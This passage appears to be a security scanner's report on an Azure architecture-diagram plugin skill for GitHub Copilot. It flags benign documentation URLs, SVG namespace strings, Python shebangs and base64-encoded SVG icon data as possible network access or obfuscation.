    - **`choices` MUST be passed as a string array (`["A", "B"]`) ** — passing as a string (`"A, B"`) will cause an error - If there is a recommended option, place it first and append `(Recommended)` at the end - Include reference information i
  • Network accessline 163
    - If there is a recommended option, place it first and append `(Recommended)` at the end - Include reference information in choices — e.g., `"Standard S1 - Recommended for production. Ref: https://{example-url}"` - **Only 1 question per cal
  • Network accessline 164
    - Include reference information in choices — e.g., `"Standard S1 - Recommended for production. Ref: https://{example-url}"`
  • Network accessline 183
    // 1. SKU question ask_user({   question: "Please select the SKU for AI Search. Ref: https://learn.microsoft.com/en-us/azure/search/search-sku-tier",
  • Network accessline 184
    ask_user({   question: "Please select the SKU for AI Search. Ref: https://learn.microsoft.com/en-us/azure/search/search-sku-tier",   choices: [
  • Network accessline 185
    question: "Please select the SKU for AI Search. Ref: https://learn.microsoft.com/en-us/azure/search/search-sku-tier",
  • Network accessline 194
    // 2. Region question (separate call — only 1 question per call) ask_user({   question: "Please select the Azure region for deployment. Ref: https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models",
  • Network accessline 195
    ask_user({   question: "Please select the Azure region for deployment. Ref: https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models",   choices: [
  • Network accessline 196
    question: "Please select the Azure region for deployment. Ref: https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models",
  • Network accessline 325
    Write-Host "Please install using one of the following methods:" -ForegroundColor Yellow   Write-Host "  1. winget install Python.Python.3.12"   Write-Host "  2. Download from https://www.python.org/downloads/"
  • Network accessline 326
    Write-Host "  1. winget install Python.Python.3.12"   Write-Host "  2. Download from https://www.python.org/downloads/"   Write-Host "  3. Search for 'Python 3.12' in the Microsoft Store and install"
  • Network accessline 327
    Write-Host "  2. Download from https://www.python.org/downloads/"

harness/github-copilot/plugins/azure-developer-tooling/skills/azure-architecture-autopilot/references/service-gotchas.md

  • Network accessline 59
    > > This mapping is complex and subject to change, so always fetch and verify MS Docs when configuring Monitor PE: > https://learn.microsoft.com/en-us/azure/azure-monitor/logs/private-link-configure
  • Network accessline 61
    > https://learn.microsoft.com/en-us/azure/azure-monitor/logs/private-link-configure

harness/github-copilot/plugins/azure-developer-tooling/skills/azure-architecture-autopilot/scripts/cli.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/azure-developer-tooling/skills/azure-architecture-autopilot/scripts/generator.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 528
    <title>{title}</title> <style>   @import url('https://fonts.googleapis.com/css2?family=Segoe+UI:wght@400%3B600%3B700&family=Inter:wght@400%3B500%3B600&display=swap');
  • Network accessline 529
    <style>   @import url('https://fonts.googleapis.com/css2?family=Segoe+UI:wght@400%3B600%3B700&family=Inter:wght@400%3B500%3B600&display=swap');   * {{ box-sizing: border-box; margin: 0; padding: 0; }}
  • Network accessline 530
    @import url('https://fonts.googleapis.com/css2?family=Segoe+UI:wght@400%3B600%3B700&family=Inter:wght@400%3B500%3B600&display=swap');
  • Network accessline 1139
    const vr = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1147
    const vnetLabel = VNET_INFO ? `Virtual Network (${{VNET_INFO}})` : 'Virtual Network';       const vl = document.createElementNS('http://www.w3.org/2000/svg', 'g');
  • Network accessline 1148
    const vl = document.createElementNS('http://www.w3.org/2000/svg', 'g');
  • Network accessline 1168
    if (gb.isPE) {{       // PE group — always draw with dashed style       const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1169
    // PE group — always draw with dashed style       const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect');       gr.setAttribute('x', gb.x); gr.setAttribute('y', gb.y);
  • Network accessline 1170
    const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1177
    }} else {{       // Service group (category or RG)       const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1178
    // Service group (category or RG)       const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect');       gr.setAttribute('x', gb.x); gr.setAttribute('y', gb.y);
  • Network accessline 1179
    const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1190
    // Title bar     const titleBar = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1191
    const titleBar = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1196
    titleBar.setAttribute('opacity', '0.1');     root.appendChild(titleBar);     const titleFill = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1197
    root.appendChild(titleBar);     const titleFill = document.createElementNS('http://www.w3.org/2000/svg', 'rect');     titleFill.setAttribute('x', gb.x); titleFill.setAttribute('y', gb.y + GROUP_TITLE_H - 8);
  • Network accessline 1198
    const titleFill = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1204
    // Color accent line     const accent = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1205
    const accent = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1211
    // Group label — RG uses resource group name, PE uses "Private Endpoints", category uses category name     const label = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 1212
    const label = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 1253
    const sr = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1261
    const sl = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 2533
    const path = document.createElementNS('http://www.w3.org/2000/svg', 'path');
  • Network accessline 2603
    const nw = isPe ? PE_W : SVC_W;     const nh = isPe ? PE_H : SVC_H;     const g = document.createElementNS('http://www.w3.org/2000/svg', 'g');
  • Network accessline 2604
    const nh = isPe ? PE_H : SVC_H;     const g = document.createElementNS('http://www.w3.org/2000/svg', 'g');     g.setAttribute('class', 'node');
  • Network accessline 2605
    const g = document.createElementNS('http://www.w3.org/2000/svg', 'g');
  • Network accessline 2610
    // Card background — full clickable area     const rect = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 2611
    const rect = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 2619
    // Color accent bar at top     const accent = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 2620
    const accent = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 2630
    if (node.icon_data_uri) {{       // Official Azure icon (Base64 image)       const iconImg = document.createElementNS('http://www.w3.org/2000/svg', 'image');
  • Network accessline 2631
    // Official Azure icon (Base64 image)       const iconImg = document.createElementNS('http://www.w3.org/2000/svg', 'image');       iconImg.setAttribute('x', iconX); iconImg.setAttribute('y', iconY);
  • Network accessline 2632
    const iconImg = document.createElementNS('http://www.w3.org/2000/svg', 'image');
  • Network accessline 2633
    iconImg.setAttribute('x', iconX); iconImg.setAttribute('y', iconY);       iconImg.setAttribute('width', iconSize); iconImg.setAttribute('height', iconSize);       iconImg.setAttributeNS('http://www.w3.org/1999/xlink', 'href', node.icon_data
  • Network accessline 2634
    iconImg.setAttribute('width', iconSize); iconImg.setAttribute('height', iconSize);       iconImg.setAttributeNS('http://www.w3.org/1999/xlink', 'href', node.icon_data_uri);       g.appendChild(iconImg);
  • Network accessline 2635
    iconImg.setAttributeNS('http://www.w3.org/1999/xlink', 'href', node.icon_data_uri);
  • Network accessline 2637
    }} else {{       // Fallback: built-in SVG text icon       const iconG = document.createElementNS('http://www.w3.org/2000/svg', 'svg');
  • Network accessline 2638
    // Fallback: built-in SVG text icon       const iconG = document.createElementNS('http://www.w3.org/2000/svg', 'svg');       iconG.setAttribute('x', iconX); iconG.setAttribute('y', iconY);
  • Network accessline 2639
    const iconG = document.createElementNS('http://www.w3.org/2000/svg', 'svg');
  • Network accessline 2647
    // Name — extra gap below icon (icon bottom ~50, name baseline at 74 → 24px breathing room)     const name = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 2648
    const name = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 2658
    // SKU label     if (!isPe && node.sku) {{       const sku = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 2659
    if (!isPe && node.sku) {{       const sku = document.createElementNS('http://www.w3.org/2000/svg', 'text');       sku.setAttribute('x', nw/2); sku.setAttribute('y', 90);
  • Network accessline 2660
    const sku = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 2669
    if (isPe && node.details.length > 0) {{       const det = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 2670
    const det = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 2697
    }};       const typeLabel = TYPE_LABELS[node.type] || node.type;       const cat = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 2698
    const typeLabel = TYPE_LABELS[node.type] || node.type;       const cat = document.createElementNS('http://www.w3.org/2000/svg', 'text');       cat.setAttribute('x', nw/2); cat.setAttribute('y', nh + 14);
  • Network accessline 2699
    const cat = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 2709
    // Private badge on card     if (node.private && !isPe) {{       const badge = document.createElementNS('http://www.w3.org/2000/svg', 'g');
  • Network accessline 2710
    if (node.private && !isPe) {{       const badge = document.createElementNS('http://www.w3.org/2000/svg', 'g');       const br = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 2711
    const badge = document.createElementNS('http://www.w3.org/2000/svg', 'g');
  • Network accessline 2712
    const br = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 2758
    // ── Edge labels (rendered AFTER nodes — always visible on top) ──   _edgeLabels.forEach(el => {{     const g = document.createElementNS('http://www.w3.org/2000/svg', 'g');
  • Network accessline 2759
    _edgeLabels.forEach(el => {{     const g = document.createElementNS('http://www.w3.org/2000/svg', 'g');     g.classList.add('edge-label');
  • Network accessline 2760
    const g = document.createElementNS('http://www.w3.org/2000/svg', 'g');
  • Network accessline 2762
    g.setAttribute('data-from', el.from);     g.setAttribute('data-to', el.to);     const r = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 2763
    g.setAttribute('data-to', el.to);     const r = document.createElementNS('http://www.w3.org/2000/svg', 'rect');     r.classList.add('edge-label-bg');
  • Network accessline 2764
    const r = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 2765
    r.classList.add('edge-label-bg');     const t = document.createElementNS('http://www.w3.org/2000/svg', 'text');     const bw = el.label.length * 6 + 10;
  • Network accessline 2766
    const t = document.createElementNS('http://www.w3.org/2000/svg', 'text');

harness/github-copilot/plugins/azure-developer-tooling/skills/azure-architecture-autopilot/scripts/icons.py

  • Executable scriptline 1
    Executable file
  • Possible obfuscationline 7
    "b64": "PHN2ZyBpZD0idXVpZC1mY2E5ZmM4YS03ZTg3LTQyOTEtOTU5Ni1jYjg3ODIzMWQzMjMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxwYXRoIGQ9Ik05LjA4MiwxNC42NzdoMy4zNDVjLjY2MywwLDEuMi0uNTM3
  • Possible obfuscationline 12
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImViYWE2NjZmLWQzNGItNDdjNi05ZGQ4LTk1NWNjZTY0MmRkOSIgeDE9IjE0LjQxNSIgeTE9IjEzLjU1NSIgeDI9
  • Possible obfuscationline 17
    "b64": "PHN2ZyBpZD0idXVpZC0xNzM1MTRmNy1kNmE1LTRkZjctODNhMC04ODMzZjg4NjEzODYiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1mNjFhNjQxMy1kYTM1
  • Possible obfuscationline 22
    "b64": "PHN2ZyBpZD0iZjQ1YWI3ODItN2E2ZC00ZjE4LTk0MTYtOGY3OGE0MDg3MTU1IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY4YTZhNGZjLTllOGQtNDIzYS05N2Qx
  • Possible obfuscationline 27
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE0ODUyZTZmLTRlNDgtNDdhNi04Y2I3LWM1NDAxN2M0Mzg5NiIgeDE9IjkuMjgyIiB5MT0iMTIuMDc5IiB4Mj0i
  • Possible obfuscationline 32
    "b64": "PHN2ZyBpZD0iYmNlODM0ZTctZDM3Ni00YzIxLTk3ZTYtYjZjODQwYzMyZGUwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI1YjYwODgyLWFiZGUtNDcwYy1hMGY1
  • Possible obfuscationline 37
    "b64": "PHN2ZyBpZD0idXVpZC1iZTI1ODQ1Zi1jNjcyLTQ5MmEtYmM1My05NjE0Y2M5YmM3NmYiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC01NzcyZmQyYS03YzM2
  • Possible obfuscationline 42
    "b64": "PHN2ZyBpZD0idXVpZC02YjgzODBjMy0wZWU1LTRjNDQtOTJhMi1mMTg1YzgyZGI2YmEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC0wNTg3NmM3Mi04ZjI2
  • Possible obfuscationline 47
    "b64": "PHN2ZyBpZD0idXVpZC1jNmMzZjc1ZS01MzY5LTQ0OGUtYjg5NS0zZjk5ZmIxMWJlYmUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxwYXRoIGQ9Ik03LjQ1Ni42MDhjLS45MDItLjQxMS0xLjkwOS0uNTU5LTIu
  • Possible obfuscationline 52
    "b64": "PHN2ZyBpZD0idXVpZC1jZDVhOGI0MC00MDRiLTQ2NTAtOGFkNS0zNjE0YWYwMTUyZjkiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxyYWRpYWxHcmFkaWVudCBpZD0idXVpZC1hMmY4NmI4NC05Nzg1
  • Possible obfuscationline 57
    "b64": "PHN2ZyBpZD0idXVpZC1hOGI5NGNjMS1lNGQ3LTRmMjYtOGZiZS05M2Q3OWM3MTQ3ZTciIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1iODRiMmM4OS00NjI5
  • Possible obfuscationline 62
    "b64": "PHN2ZyBpZD0iYTlmNTZiNGUtMmE1MS00NDcxLTk0ODgtZDQ2MTQwOGFlNGViIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImU0ZTFlNDk0LTIxZjEtNGU5Yy1hNmZh
  • Possible obfuscationline 67
    "b64": "PHN2ZyBpZD0iZTBiNGY0NDctZDVhOS00N2UzLTkwZTEtZjIxODRiYjlkMTRhIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEzZmM1MzkyLTlmNDUtNDczZS1hMmQ0
  • Possible obfuscationline 72
    "b64": "PHN2ZyBpZD0iYTZkZjkzOTMtMmJkNy00YWM0LWJhMDYtYWI1ZjE2ZmY1OTIzIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImZkNTkxYjM1LTBlMDEtNDYxMC1hMDI1
  • Possible obfuscationline 77
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImFiZWM1NDdjLWFiZTYtNDBmZi05NGJiLWM4YWU0OTM2ZDNiYSIgeDE9IjEwLjA4NCIgeTE9IjEuMzA5IiB4Mj0i
  • Possible obfuscationline 82
    "b64": "PHN2ZyBpZD0idXVpZC00MzFhNzU5Yy1hMjlkLTQ2NzgtODllZS01YjFiMjY2NmY4OTAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC0xMDQ3OGU2OC0xMDA5
  • Possible obfuscationline 87
    "b64": "PHN2ZyBpZD0iZmUzNjYwOTktYTJiMS00MjZlLWJmMTQtNWZhYzNhZjI2MzNiIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJkODNmMTY5LTEwNmMtNDg4OC04OTc0
  • Possible obfuscationline 92
    "b64": "PHN2ZyBpZD0iZjc4ZWYzN2ItZmRlNC00NjFjLTk0ZTItZGNjZmYzMmRkNWQ3IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJmOGE5NTgzLWFhZTktNDhmZi04N2Q4
  • Possible obfuscationline 97
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImZmN2ExYTlmLWUxYTctNDcxYS1iNzZlLTFkMmVhNDNhOGQxMSIgeDE9IjguOTI0IiB5MT0iNzg1LjE0NSIgeDI9
  • Possible obfuscationline 102
    "b64": "PHN2ZyBpZD0idXVpZC04YzNlZGU0My01NTZkLTRjNjAtYjhlYi1lYTMwMGE5Yzg3NjYiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1kNmQwMjE2Mi03MDMx
  • Possible obfuscationline 107
    "b64": "PHN2ZyBpZD0iYjYyZmU1M2QtZDEwMi00ODhlLWJlZGYtM2I3YTQ4YWExNGJmIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJiYWEyNDRkLTdhNzMtNGRlZi1hZTMz
  • Possible obfuscationline 112
    "b64": "PHN2ZyBpZD0iYTc2YTAxMDMtY2UwMy00ZDU4LTg1OWQtNGMyN2UwMjkyNWQyIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVmZWI4ZTk2LTJhZjAtNDY4MS05YTZh
  • Possible obfuscationline 117
    "b64": "PHN2ZyBpZD0iZjZhNzkxMjYtYTdlZi00MTkwLWIwMWItZTM0YjVjY2I3OTc3IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVmYzk1ZjU3LTI4YmYtNDFkZS1hMDll
  • Possible obfuscationline 122
    "b64": "PHN2ZyBpZD0iZjM5ZGIwOGYtYzQzMy00YjNlLThkZDktZjViMzJiMGRkMmUyIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUzYjQ2MmQzLTRjM2MtNDdlOS04Mjdi
  • Possible obfuscationline 127
    "b64": "PHN2ZyBpZD0iZmQzZDhkNGEtNDZlMS00NDA4LWJhMWUtOTEzNWE3ZTM0YzQ5IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIyNWE2ZWVmLTYzYTEtNDAyOC05ODFm
  • Possible obfuscationline 132
    "b64": "PHN2ZyBpZD0iZmNhMjEwNWYtYzAzOS00ZjM0LWJkNjUtOGFiOTVkNGVjZGI5IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE3NzNhZjM4LTQzZTQtNGZkMi05NDg1
  • Possible obfuscationline 137
    "b64": "PHN2ZyBpZD0iYjcwYWNmMGEtMzRiNC00YmRmLTkwMjQtNzQ5NjA0M2ZmOTE1IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48cmFkaWFsR3JhZGllbnQgaWQ9ImUyY2Y4NzQ2LWM5YTgtNGVlZS04NmMy
  • Possible obfuscationline 142
    "b64": "PHN2ZyB3aWR0aD0iMzYiIGhlaWdodD0iMzYiIHZpZXdCb3g9IjAgMCAzNiAzNiIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48ZyBjbGlwLXBhdGg9InVybCgjY2xpcDBfOTE3NV8zNDg0OTgpIj48cGF0aCBkPSJNNi4xMzU5NSAxNi4zMDRDNi4xMzU5NSAyMi4zMzgg
  • Possible obfuscationline 147
    "b64": "PHN2ZyBpZD0idXVpZC0xMjYwOWRhYS02MDhhLTQ5Y2MtYmU3My02OTgwOWYwNThmOGUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1jNWI3NzJkMy01NmZi
  • Possible obfuscationline 152
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI2NDAyOWRjLTUzYjYtNDNiMi04YWFlLTkyNDEzODQ2ZTUxYyIgeTE9IjkiIHgyPSIxOCIgeTI9IjkiIGdyYWRp
  • Possible obfuscationline 157
    "b64": "PHN2ZyBpZD0idXVpZC0yNGQ5MmM3My02YTNkLTRjMWMtYjFkYS1hOWJlYjU4YmIxOGMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC01NGYxM2I2NC02OGUw
  • Possible obfuscationline 162
    "b64": "PHN2ZyBpZD0iYWNhYzVhMzQtYTAzMi00OWY5LTkzOTctMzdmNGYxYjRhZTlhIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY2ZDUzOTliLWE1Y2ItNGMwOS05NmNj
  • Possible obfuscationline 167
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEyNmM5NDIwLTIyZWEtNDM3ZC05NjNhLWQ5MWEwNzA1MmZlOCIgeDE9IjkiIHkxPSIxNy41IiB4Mj0iOSIgeTI9
  • Possible obfuscationline 172
    "b64": "PHN2ZyBpZD0iYjZmNmQ5OWUtZjMzMC00ODFkLTgzNmYtZWE1OGNjNDIyMTdmIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48cmFkaWFsR3JhZGllbnQgaWQ9ImE3YTFjNDMxLTZjNmQtNGE4Zi05YTY5
  • Possible obfuscationline 177
    "b64": "PHN2ZyBpZD0iYTdlNWMyODQtMTNjYy00YWM1LWI4NDItZWNmYjNlN2JiYjczIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEzZGY3ZDE5LTNkNTQtNGQ4Ni1iN2I4
  • Possible obfuscationline 182
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUzMWE5NWM2LTY3OTgtNDU0OS04NTY2LWRkNzgwODRhZTdiZiIgeDE9IjEwLjY4NiIgeTE9IjAuMTQzIiB4Mj0i
  • Possible obfuscationline 187
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImYxZDE4ZDc1LWNkYjAtNDA2Ny1iZjg1LTNjMWU2ZDYzY2I5MyIgeDE9IjMuNDIzIiB5MT0iOC40MzgiIHgyPSIx
  • Possible obfuscationline 192
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImFhZjQ3NmRlLTA0YmMtNGFmOC05OGNjLWU2NzkyOWRjY2QyMCIgeDE9IjMuODc1IiB5MT0iMi4xOTciIHgyPSI4
  • Possible obfuscationline 197
